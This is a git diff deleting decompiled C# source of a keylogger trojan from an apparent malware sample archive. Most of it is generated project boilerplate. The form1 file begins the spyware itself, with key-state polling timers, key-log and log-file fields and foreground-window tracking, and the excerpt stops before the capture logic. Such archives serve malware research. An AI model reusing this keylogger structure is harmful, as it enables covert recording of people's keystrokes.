source.GetEnumerator(); - if (!enumerator.MoveNext()) - return; - enumerator.Current.Value = value; - } - finally - { - enumerator?.Dispose(); - } - } - - public static string get_AttributeValue(IEnumerable source, XName name) - { - IEnumerator enumerator; - try - { - enumerator = source.GetEnumerator(); - if (enumerator.MoveNext()) - return (string) enumerator.Current.Attribute(name); - } - finally - { - enumerator?.Dispose(); - } - return (string) null; - } - - public static void set_AttributeValue(IEnumerable source, XName name, string value) - { - IEnumerator enumerator; - try - { - enumerator = source.GetEnumerator(); - if (!enumerator.MoveNext()) - return; - enumerator.Current.SetAttributeValue(name, (object) value); - } - finally - { - enumerator?.Dispose(); - } - } - - public static string get_AttributeValue(XElement source, XName name) => (string) source.Attribute(name); - - public static void set_AttributeValue(XElement source, XName name, string value) => source.SetAttributeValue(name, (object) value); - - [EditorBrowsable(EditorBrowsableState.Never)] - public static XAttribute CreateAttribute(XName name, object value) => value == null ? (XAttribute) null : new XAttribute(name, RuntimeHelpers.GetObjectValue(value)); - - [EditorBrowsable(EditorBrowsableState.Never)] - public static XAttribute CreateNamespaceAttribute(XName name, XNamespace ns) - { - XAttribute namespaceAttribute = new XAttribute(name, (object) ns.NamespaceName); - namespaceAttribute.AddAnnotation((object) ns); - return namespaceAttribute; - } - - [EditorBrowsable(EditorBrowsableState.Never)] - public static object RemoveNamespaceAttributes( - string[] inScopePrefixes, - XNamespace[] inScopeNs, - List attributes, - object obj) - { - switch (obj) - { - case XElement e: - // ISSUE: reference to a compiler-generated method - return (object) InternalXmlHelper.RemoveNamespaceAttributes(inScopePrefixes, inScopeNs, attributes, e); - case IEnumerable enumerable: - // ISSUE: reference to a compiler-generated method - return (object) InternalXmlHelper.RemoveNamespaceAttributes(inScopePrefixes, inScopeNs, attributes, enumerable); - default: - return obj; - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - public static IEnumerable RemoveNamespaceAttributes( - string[] inScopePrefixes, - XNamespace[] inScopeNs, - List attributes, - IEnumerable obj) - { - if (obj == null) - return obj; - // ISSUE: object of a compiler-generated type is created - // ISSUE: reference to a compiler-generated method - // ISSUE: object of a compiler-generated type is created - // ISSUE: reference to a compiler-generated method - return obj is IEnumerable source ? (IEnumerable) source.Select(new Func(new InternalXmlHelper.RemoveNamespaceAttributesClosure(inScopePrefixes, inScopeNs, attributes).ProcessXElement)) : (IEnumerable) obj.Cast().Select(new Func(new InternalXmlHelper.RemoveNamespaceAttributesClosure(inScopePrefixes, inScopeNs, attributes).ProcessObject)); - } - - [EditorBrowsable(EditorBrowsableState.Never)] - public static XElement RemoveNamespaceAttributes( - string[] inScopePrefixes, - XNamespace[] inScopeNs, - List attributes, - XElement e) - { - XAttribute nextAttribute; - if (e != null) - { - for (XAttribute xattribute = e.FirstAttribute; xattribute != null; xattribute = nextAttribute) - { - nextAttribute = xattribute.NextAttribute; - if (xattribute.IsNamespaceDeclaration) - { - XNamespace xnamespace1 = xattribute.Annotation(); - string localName1 = xattribute.Name.LocalName; - if ((object) xnamespace1 != null) - { - if (inScopePrefixes != null && inScopeNs != null) - { - int num = checked (inScopePrefixes.Length - 1); - int index = 0; - while (index <= num) - { - string inScopePrefix = inScopePrefixes[index]; - XNamespace inScopeN = inScopeNs[index]; - if (localName1.Equals(inScopePrefix)) - { - if (xnamespace1 == inScopeN) - xattribute.Remove(); - xattribute = (XAttribute) null; - break; - } - checked { ++index; } - } - } - if (xattribute != null) - { - if (attributes != null) - { - int num = checked (attributes.Count - 1); - int index = 0; - while (index <= num) - { - XAttribute attribute = attributes[index]; - string localName2 = attribute.Name.LocalName; - XNamespace xnamespace2 = attribute.Annotation(); - if ((object) xnamespace2 != null && localName1.Equals(localName2)) - { - if (xnamespace1 == xnamespace2) - xattribute.Remove(); - xattribute = (XAttribute) null; - break; - } - checked { ++index; } - } - } - if (xattribute != null) - { - xattribute.Remove(); - attributes.Add(xattribute); - } - } - } - } - } - } - return e; - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cme-57cab9f39b07241f0d75407eafce3d58eabd5382a70cdb5631e61e32bd63ac98/My/MyApplication.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cme-57cab9f39b07241f0d75407eafce3d58eabd5382a70cdb5631e61e32bd63ac98/My/MyApplication.cs deleted file mode 100644 index cab1afe2..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cme-57cab9f39b07241f0d75407eafce3d58eabd5382a70cdb5631e61e32bd63ac98/My/MyApplication.cs +++ /dev/null @@ -1,58 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: services.My.MyApplication -// Assembly: services, Version=5.1.2600.5512, Culture=neutral, PublicKeyToken=null -// MVID: F6A9F931-6B07-4D28-AD3E-515314EA1568 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.cme-57cab9f39b07241f0d75407eafce3d58eabd5382a70cdb5631e61e32bd63ac98.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System; -using System.CodeDom.Compiler; -using System.Collections.Generic; -using System.ComponentModel; -using System.Diagnostics; -using System.Windows.Forms; - -namespace services.My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal class MyApplication : WindowsFormsApplicationBase - { - private static List __ENCList = new List(); - - [DebuggerNonUserCode] - static MyApplication() - { - } - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Advanced)] - [STAThread] - internal static void Main(string[] Args) - { - try - { - Application.SetCompatibleTextRenderingDefault(WindowsFormsApplicationBase.UseCompatibleTextRendering); - } - finally - { - } - MyProject.Application.Run(Args); - } - - [DebuggerStepThrough] - public MyApplication() - : base(AuthenticationMode.Windows) - { - lock (MyApplication.__ENCList) - MyApplication.__ENCList.Add(new WeakReference((object) this)); - this.IsSingleInstance = false; - this.EnableVisualStyles = true; - this.SaveMySettingsOnExit = true; - this.ShutdownStyle = ShutdownMode.AfterMainFormCloses; - } - - [DebuggerStepThrough] - protected override void OnCreateMainForm() => this.MainForm = (Form) MyProject.Forms.form1; - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cme-57cab9f39b07241f0d75407eafce3d58eabd5382a70cdb5631e61e32bd63ac98/My/MyComputer.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cme-57cab9f39b07241f0d75407eafce3d58eabd5382a70cdb5631e61e32bd63ac98/My/MyComputer.cs deleted file mode 100644 index 27b781fe..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cme-57cab9f39b07241f0d75407eafce3d58eabd5382a70cdb5631e61e32bd63ac98/My/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: services.My.MyComputer -// Assembly: services, Version=5.1.2600.5512, Culture=neutral, PublicKeyToken=null -// MVID: F6A9F931-6B07-4D28-AD3E-515314EA1568 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.cme-57cab9f39b07241f0d75407eafce3d58eabd5382a70cdb5631e61e32bd63ac98.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace services.My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal class MyComputer : Computer - { - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyComputer() - { - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cme-57cab9f39b07241f0d75407eafce3d58eabd5382a70cdb5631e61e32bd63ac98/My/MyProject.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cme-57cab9f39b07241f0d75407eafce3d58eabd5382a70cdb5631e61e32bd63ac98/My/MyProject.cs deleted file mode 100644 index d5ef6718..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cme-57cab9f39b07241f0d75407eafce3d58eabd5382a70cdb5631e61e32bd63ac98/My/MyProject.cs +++ /dev/null @@ -1,212 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: services.My.MyProject -// Assembly: services, Version=5.1.2600.5512, Culture=neutral, PublicKeyToken=null -// MVID: F6A9F931-6B07-4D28-AD3E-515314EA1568 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.cme-57cab9f39b07241f0d75407eafce3d58eabd5382a70cdb5631e61e32bd63ac98.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.Collections; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace services.My -{ - [HideModuleName] - [GeneratedCode("MyTemplate", "8.0.0.0")] - [StandardModule] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static MyProject.ThreadSafeObjectProvider m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [DebuggerNonUserCode] - static MyProject() - { - } - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.Forms")] - internal static MyProject.MyForms Forms - { - [DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")] - internal sealed class MyForms - { - public form1 m_form1; - [ThreadStatic] - private static Hashtable m_FormBeingCreated; - - public form1 form1 - { - [DebuggerNonUserCode] get - { - this.m_form1 = MyProject.MyForms.Create__Instance__(this.m_form1); - return this.m_form1; - } - [DebuggerNonUserCode] set - { - if (value == this.m_form1) - return; - if (value != null) - throw new ArgumentException("Property can only be set to Nothing"); - this.Dispose__Instance__(ref this.m_form1); - } - } - - [DebuggerHidden] - private static T Create__Instance__(T Instance) where T : Form, new() - { - if ((object) Instance != null && !Instance.IsDisposed) - return Instance; - if (MyProject.MyForms.m_FormBeingCreated != null) - { - if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T))) - throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate")); - } - else - MyProject.MyForms.m_FormBeingCreated = new Hashtable(); - MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null); - try - { - return new T(); - } - catch (TargetInvocationException ex) when ( - { - // ISSUE: unable to correctly present filter - ProjectData.SetProjectError((Exception) ex); - if (ex.InnerException != null) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException); - } - finally - { - MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T)); - } - } - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) where T : Form - { - instance.Dispose(); - instance = default (T); - } - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyForms() - { - } - - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - internal new System.Type GetType() => typeof (MyProject.MyForms); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - } - - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class MyWebServices - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override int GetHashCode() => base.GetHashCode(); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - internal new System.Type GetType() => typeof (MyProject.MyWebServices); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyWebServices() - { - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [ComVisible(false)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cme-57cab9f39b07241f0d75407eafce3d58eabd5382a70cdb5631e61e32bd63ac98/My/MySettings.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cme-57cab9f39b07241f0d75407eafce3d58eabd5382a70cdb5631e61e32bd63ac98/My/MySettings.cs deleted file mode 100644 index e9d5d0e0..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cme-57cab9f39b07241f0d75407eafce3d58eabd5382a70cdb5631e61e32bd63ac98/My/MySettings.cs +++ /dev/null @@ -1,74 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: services.My.MySettings -// Assembly: services, Version=5.1.2600.5512, Culture=neutral, PublicKeyToken=null -// MVID: F6A9F931-6B07-4D28-AD3E-515314EA1568 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.cme-57cab9f39b07241f0d75407eafce3d58eabd5382a70cdb5631e61e32bd63ac98.exe - -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Configuration; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Threading; - -namespace services.My -{ - [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Advanced)] - [CompilerGenerated] - internal sealed class MySettings : ApplicationSettingsBase - { - private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings()); - private static bool addedHandler; - private static object addedHandlerLockObject = RuntimeHelpers.GetObjectValue(new object()); - - [DebuggerNonUserCode] - public MySettings() - { - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - [DebuggerNonUserCode] - private static void AutoSaveSettings(object sender, EventArgs e) - { - if (!MyProject.Application.SaveMySettingsOnExit) - return; - MySettingsProperty.Settings.Save(); - } - - public static MySettings Default - { - get - { - if (!MySettings.addedHandler) - { - object handlerLockObject = MySettings.addedHandlerLockObject; - ObjectFlowControl.CheckForSyncLockOnValueType(handlerLockObject); - Monitor.Enter(handlerLockObject); - try - { - if (!MySettings.addedHandler) - { - MyProject.Application.Shutdown += (ShutdownEventHandler) ((sender, e) => - { - if (!MyProject.Application.SaveMySettingsOnExit) - return; - MySettingsProperty.Settings.Save(); - }); - MySettings.addedHandler = true; - } - } - finally - { - Monitor.Exit(handlerLockObject); - } - } - MySettings defaultInstance = MySettings.defaultInstance; - return defaultInstance; - } - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cme-57cab9f39b07241f0d75407eafce3d58eabd5382a70cdb5631e61e32bd63ac98/My/MySettingsProperty.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cme-57cab9f39b07241f0d75407eafce3d58eabd5382a70cdb5631e61e32bd63ac98/My/MySettingsProperty.cs deleted file mode 100644 index b7468949..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cme-57cab9f39b07241f0d75407eafce3d58eabd5382a70cdb5631e61e32bd63ac98/My/MySettingsProperty.cs +++ /dev/null @@ -1,31 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: services.My.MySettingsProperty -// Assembly: services, Version=5.1.2600.5512, Culture=neutral, PublicKeyToken=null -// MVID: F6A9F931-6B07-4D28-AD3E-515314EA1568 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.cme-57cab9f39b07241f0d75407eafce3d58eabd5382a70cdb5631e61e32bd63ac98.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; - -namespace services.My -{ - [HideModuleName] - [StandardModule] - [CompilerGenerated] - [DebuggerNonUserCode] - internal sealed class MySettingsProperty - { - [HelpKeyword("My.Settings")] - internal static MySettings Settings - { - get - { - MySettings settings = MySettings.Default; - return settings; - } - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cme-57cab9f39b07241f0d75407eafce3d58eabd5382a70cdb5631e61e32bd63ac98/My/Resources/Resources.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cme-57cab9f39b07241f0d75407eafce3d58eabd5382a70cdb5631e61e32bd63ac98/My/Resources/Resources.cs deleted file mode 100644 index d3252ba9..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cme-57cab9f39b07241f0d75407eafce3d58eabd5382a70cdb5631e61e32bd63ac98/My/Resources/Resources.cs +++ /dev/null @@ -1,46 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: services.My.Resources.Resources -// Assembly: services, Version=5.1.2600.5512, Culture=neutral, PublicKeyToken=null -// MVID: F6A9F931-6B07-4D28-AD3E-515314EA1568 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.cme-57cab9f39b07241f0d75407eafce3d58eabd5382a70cdb5631e61e32bd63ac98.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Globalization; -using System.Resources; -using System.Runtime.CompilerServices; - -namespace services.My.Resources -{ - [StandardModule] - [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")] - [HideModuleName] - [CompilerGenerated] - [DebuggerNonUserCode] - internal sealed class Resources - { - private static ResourceManager resourceMan; - private static CultureInfo resourceCulture; - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static ResourceManager ResourceManager - { - get - { - if (object.ReferenceEquals((object) services.My.Resources.Resources.resourceMan, (object) null)) - services.My.Resources.Resources.resourceMan = new ResourceManager("services.Resources", typeof (services.My.Resources.Resources).Assembly); - return services.My.Resources.Resources.resourceMan; - } - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static CultureInfo Culture - { - get => services.My.Resources.Resources.resourceCulture; - set => services.My.Resources.Resources.resourceCulture = value; - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cme-57cab9f39b07241f0d75407eafce3d58eabd5382a70cdb5631e61e32bd63ac98/Resources.resx b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cme-57cab9f39b07241f0d75407eafce3d58eabd5382a70cdb5631e61e32bd63ac98/Resources.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cme-57cab9f39b07241f0d75407eafce3d58eabd5382a70cdb5631e61e32bd63ac98/Resources.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cme-57cab9f39b07241f0d75407eafce3d58eabd5382a70cdb5631e61e32bd63ac98/Trojan-Spy.MSIL.KeyLogger.cme.csproj b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cme-57cab9f39b07241f0d75407eafce3d58eabd5382a70cdb5631e61e32bd63ac98/Trojan-Spy.MSIL.KeyLogger.cme.csproj deleted file mode 100644 index 1a5477d3..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cme-57cab9f39b07241f0d75407eafce3d58eabd5382a70cdb5631e61e32bd63ac98/Trojan-Spy.MSIL.KeyLogger.cme.csproj +++ /dev/null @@ -1,57 +0,0 @@ - - - - - Debug - AnyCPU - {D54684E0-49A8-4109-B1D6-4C92E4EE0CDA} - WinExe - services - 5.1.2600.5512 - services - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cme-57cab9f39b07241f0d75407eafce3d58eabd5382a70cdb5631e61e32bd63ac98/Trojan-Spy.MSIL.KeyLogger.cme.sln b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cme-57cab9f39b07241f0d75407eafce3d58eabd5382a70cdb5631e61e32bd63ac98/Trojan-Spy.MSIL.KeyLogger.cme.sln deleted file mode 100644 index d7244b6e..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cme-57cab9f39b07241f0d75407eafce3d58eabd5382a70cdb5631e61e32bd63ac98/Trojan-Spy.MSIL.KeyLogger.cme.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "services", "Trojan-Spy.MSIL.KeyLogger.cme-57cab9f39b07241f0d75407eafce3d58eabd5382a70cdb5631e61e32bd63ac98.csproj", "{D54684E0-49A8-4109-B1D6-4C92E4EE0CDA}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {D54684E0-49A8-4109-B1D6-4C92E4EE0CDA}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {D54684E0-49A8-4109-B1D6-4C92E4EE0CDA}.Debug|Any CPU.Build.0 = Debug|Any CPU - {D54684E0-49A8-4109-B1D6-4C92E4EE0CDA}.Release|Any CPU.ActiveCfg = Release|Any CPU - {D54684E0-49A8-4109-B1D6-4C92E4EE0CDA}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cme-57cab9f39b07241f0d75407eafce3d58eabd5382a70cdb5631e61e32bd63ac98/form1.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cme-57cab9f39b07241f0d75407eafce3d58eabd5382a70cdb5631e61e32bd63ac98/form1.cs deleted file mode 100644 index 05a34494..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cme-57cab9f39b07241f0d75407eafce3d58eabd5382a70cdb5631e61e32bd63ac98/form1.cs +++ /dev/null @@ -1,975 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: services.form1 -// Assembly: services, Version=5.1.2600.5512, Culture=neutral, PublicKeyToken=null -// MVID: F6A9F931-6B07-4D28-AD3E-515314EA1568 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.cme-57cab9f39b07241f0d75407eafce3d58eabd5382a70cdb5631e61e32bd63ac98.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using services.My; -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Diagnostics; -using System.Drawing; -using System.IO; -using System.Net; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace services -{ - [DesignerGenerated] - internal class form1 : Form - { - private static List __ENCList = new List(); - private IContainer components; - [AccessedThroughProperty("tmrGetKeyState")] - private System.Windows.Forms.Timer _tmrGetKeyState; - [AccessedThroughProperty("tmrStartDelay")] - private System.Windows.Forms.Timer _tmrStartDelay; - [AccessedThroughProperty("txtCurrentLog")] - private TextBox _txtCurrentLog; - [AccessedThroughProperty("TextBox1")] - private TextBox _TextBox1; - [AccessedThroughProperty("TextBox3")] - private TextBox _TextBox3; - [AccessedThroughProperty("Timer3")] - private System.Windows.Forms.Timer _Timer3; - [AccessedThroughProperty("Label2")] - private Label _Label2; - [AccessedThroughProperty("Timer1")] - private System.Windows.Forms.Timer _Timer1; - [AccessedThroughProperty("Timer2")] - private System.Windows.Forms.Timer _Timer2; - [AccessedThroughProperty("Timer4")] - private System.Windows.Forms.Timer _Timer4; - private Process oProcess; - private Process p; - private object oWMIService; - private string strComputer; - private string KeyLog; - private int nSek; - private string strText; - private string mystr; - private string LastCheckedForegroundTitle; - private const int WM_NCLBUTTONDOWN = 161; - private const short HTCAPTION = 2; - private const short SW_SHOWNORMAL = 1; - private const int VK_CAPITAL = 20; - private const int FORMAT_MESSAGE_FROM_SYSTEM = 4096; - private int m_lngLogLenByte; - private string m_strStartTime; - private string m_strLogFile; - [SpecialName] - private bool \u0024STATIC\u0024CapsLockOn\u00242002\u0024blnInit; - [SpecialName] - private bool \u0024STATIC\u0024CapsLockOn\u00242002\u0024blnOn; - - [DebuggerNonUserCode] - static form1() - { - } - - public form1() - { - this.FormClosing += new FormClosingEventHandler(this.form1_FormClosing); - this.Load += new EventHandler(this.Form1_Load); - lock (form1.__ENCList) - form1.__ENCList.Add(new WeakReference((object) this)); - this.p = new Process(); - this.LastCheckedForegroundTitle = ""; - this.InitializeComponent(); - } - - [DebuggerNonUserCode] - protected override void Dispose(bool disposing) - { - try - { - if (!disposing || this.components == null) - return; - this.components.Dispose(); - } - finally - { - base.Dispose(disposing); - } - } - - [DebuggerStepThrough] - private void InitializeComponent() - { - this.components = (IContainer) new System.ComponentModel.Container(); - ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (form1)); - this.tmrGetKeyState = new System.Windows.Forms.Timer(this.components); - this.tmrStartDelay = new System.Windows.Forms.Timer(this.components); - this.txtCurrentLog = new TextBox(); - this.Timer1 = new System.Windows.Forms.Timer(this.components); - this.Timer2 = new System.Windows.Forms.Timer(this.components); - this.TextBox1 = new TextBox(); - this.TextBox3 = new TextBox(); - this.Timer3 = new System.Windows.Forms.Timer(this.components); - this.Label2 = new Label(); - this.Timer4 = new System.Windows.Forms.Timer(this.components); - this.SuspendLayout(); - this.tmrGetKeyState.Interval = 1; - TextBox txtCurrentLog1 = this.txtCurrentLog; - Point point1 = new Point(12, 12); - Point point2 = point1; - txtCurrentLog1.Location = point2; - this.txtCurrentLog.MaxLength = 3277; - this.txtCurrentLog.Multiline = true; - this.txtCurrentLog.Name = "txtCurrentLog"; - this.txtCurrentLog.ScrollBars = ScrollBars.Vertical; - TextBox txtCurrentLog2 = this.txtCurrentLog; - Size size1 = new Size(226, 166); - Size size2 = size1; - txtCurrentLog2.Size = size2; - this.txtCurrentLog.TabIndex = 0; - this.Timer1.Enabled = true; - this.Timer1.Interval = 30000; - this.Timer2.Enabled = true; - this.Timer2.Interval = 1000; - TextBox textBox1_1 = this.TextBox1; - point1 = new Point(15, 206); - Point point3 = point1; - textBox1_1.Location = point3; - this.TextBox1.Name = "TextBox1"; - 